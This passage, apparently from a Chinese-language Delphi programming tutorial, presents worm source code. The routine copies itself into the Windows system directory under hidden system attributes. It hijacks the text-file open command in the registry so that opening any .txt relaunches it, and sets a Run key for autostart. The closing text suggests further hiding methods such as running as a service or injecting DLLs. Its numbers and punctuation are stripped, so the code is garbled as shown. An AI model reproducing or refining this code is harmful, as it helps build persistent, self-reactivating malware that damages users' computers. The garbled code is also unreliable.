下面
我綜合上面的說明來給出一個簡短的例子
procedure SelfCopy;
var
Path
value:array [
] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path
);
//取得系統的路徑
s:=strpas(Path);
//轉換成字符串
CopyFile(pchar(paramstr(
))
pchar(S+
/ruin
exe
)
false);
CopyFile(pchar(paramstr(
))
pchar(S+
/virus_ruin
exe
)
false);
//把自身拷貝到系統目錄下為ruin
exe
virus_ruin
exe
SetFileAttributes(pchar(S+
/ruin
exe
)
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+
/virus_ruin
exe
)
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//設置剛才的兩個文件為系統和隱藏
RegOpenKey(HKEY_CLASSES_ROOT
txtfile/shell/open/command
Hk);
value:=
virus_ruin
exe %
;
RegSetvalueEx(Hk
REG_SZ
@value
);
//把virus_ruin
exe和文本文件關聯
RegOpenKey(HKEY_LOCAL_MACHINE
Software/Microsoft/Windows/CurrentVersion/Run
Hk);
value:=
ruin
exe
;
RegSetvalueEx(Hk
ruin
REG_SZ
@value
);
//設置開機自動運行ruin
exe
end;
我們看上面的這個程序
就完成了自我復制
和開機自動運行
並且關聯了文本文件
這樣
如果run下的鍵被刪除
那麼他打開文本文件
蠕蟲文件又被激活
不過這個樣子
你就需要在你的主程序裡面進行判斷
如果傳遞的參數等於
則打開該文本
並且進行自我保護
如
begin
if paramcount=
then
shellexecute(
open
notepad
exe
pchar(paramstr(
))
nil
sw_normal);
//其他的代碼
這裡
我只是給出一個簡單的例子來描述出一個大概的思路
很多地方還不完善
比如進程的隱藏
你可以進行判斷
如果是
你可以registerserverapplication如果你是用的
你可以做為服務啟動
或者是插入dll
或者是用求職信的方法
開機加載一個dll
或者是win
ini
[] []
From:http://tw.wingwit.com/Article/program/Delphi/201311/24756.html